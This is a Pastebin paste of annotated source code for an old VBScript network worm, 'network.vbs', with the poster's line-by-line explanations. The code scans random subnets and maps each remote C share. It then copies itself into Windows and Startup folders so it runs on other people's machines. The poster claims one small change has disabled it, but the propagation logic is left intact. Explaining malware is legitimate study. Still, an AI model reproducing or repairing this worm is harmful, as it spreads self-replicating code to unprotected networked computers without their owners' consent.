Alshabh

Untitled

Jun 18th, 2013
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1.  
  2. The Script
  3.  
  4. My analysis is in blue text.
  5.  
  6. Note: A single small alteration of this code renders it impotent. The remainder has been left intact for the benefit of well-intentioned readers.
  7.  
  8. dim octa
  9. dim octb
  10. dim octc
  11. dim octd
  12. dim rand
  13. dim dot
  14. dim driveconnected
  15. dim sharename
  16. dim count
  17. dim myfile // Creates a bunch of variables.
  18. count = "0"
  19. dot = "."
  20. driveconnected="0"
  21. set wshnetwork = wscript.createobject("wscript.network")
  22. Set fso1 = createobject("scripting.filesystemobject")
  23. set fso2 = createobject("scripting.filesystemobject") // Sets a bunch of variables.
  24. on error resume next
  25. randomize
  26. checkfile() // Erases and then re-creates its log file, c:\network.log.
  27. randaddress() // Generates a random Class C subnet address (that's a block of 255 addresses).
  28. checkaddress() // Increments the IP address by one; and creates a new random subnet if this one's been covered.
  29. shareformat() // Creates a textstring, using the current IP address, which will be used to map a shared drive.
  30. wshnetwork.mapnetworkdrive "j:", sharename // Maps the shared drive to J:, blindly assuming there's one at the address.
  31. enumdrives() // Checks to see if it's successfully mapped the drive.
  32. copyfiles() // Places a copy of itself in several places on the drive (someone else's machine someplace).
  33. disconnectdrive() // Drops the connection.
  34. msgbox "Done"
  35.  
  36. function disconnectdrive()
  37. wshnetwork.removenetworkdrive "j:"
  38. driveconnected = "0"
  39. end function
  40.  
  41. function createlogfile()
  42. Set myfile = fso1.createtextfile("c:\network.log", True)
  43. end function
  44.  
  45. function checkfile()
  46. If (fso1.fileexists("c:\network.log")) then
  47. fso1.deletefile("c:\network.log")
  48. createlogfile()
  49. else
  50. createlogfile()
  51. end If
  52. myfile.writeLine("Log file Open")
  53. end function
  54.  
  55. function copyfiles()
  56. myfile.writeline("Copying files to : " & sharename)
  57. Set fso = CreateObject("scripting.filesystemobject")
  58.  
  59. fso.copyfile "c:\network.vbs", "j:\"
  60.  
  61. If (fso2.FileExists("j:\network.vbs")) Then
  62. myfile.writeline("Successfull copy to : " & sharename)
  63. End If
  64.  
  65. fso.copyfile "c:\network.vbs", "j:\windows\startm~1\programs\startup\"
  66.  
  67. fso.copyfile "c:\network.vbs", "j:\windows\"
  68.  
  69. fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
  70.  
  71. fso.copyfile "c:\network.vbs", "j:\win95\start menu\programs\startup\"
  72.  
  73. fso.copyfile "c:\network.vbs", "j:\win95\startm~1\programs\startup\"
  74.  
  75. fso.copyfile "c:\network.vbs", "j:\wind95\"
  76.  
  77. end function
  78.  
  79. function checkaddress()
  80. octd = octd + 1
  81. if octd = "255" then randaddress()
  82. end function
  83.  
  84. function shareformat()
  85. sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"
  86. end function
  87.  
  88. function enumdrives()
  89. Set odrives = wshnetwork.enumnetworkdrives
  90. For i = 0 to odrives.Count -1
  91. if sharename = odrives.item(i) then
  92. driveconnected = 1
  93. else
  94. ' driveconnected = 0
  95. end if
  96. Next
  97. end function
  98.  
  99. function randum()
  100. rand = int((254 * rnd) + 1)
  101. end function
  102.  
  103. function randaddress()
  104. if count > 50 then
  105. octa=Int((16) * Rnd + 199)
  106. count=count + 1
  107. else
  108. octa="255"
  109. end if
  110. randum()
  111. octb=rand
  112. randum()
  113. octc=rand
  114. octd="1"
  115. myfile.writeLine("Subnet : " & octa & dot & octb & dot & octc & dot & "0")
  116. end function
Advertisement
Add Comment
Please, Sign In to add comment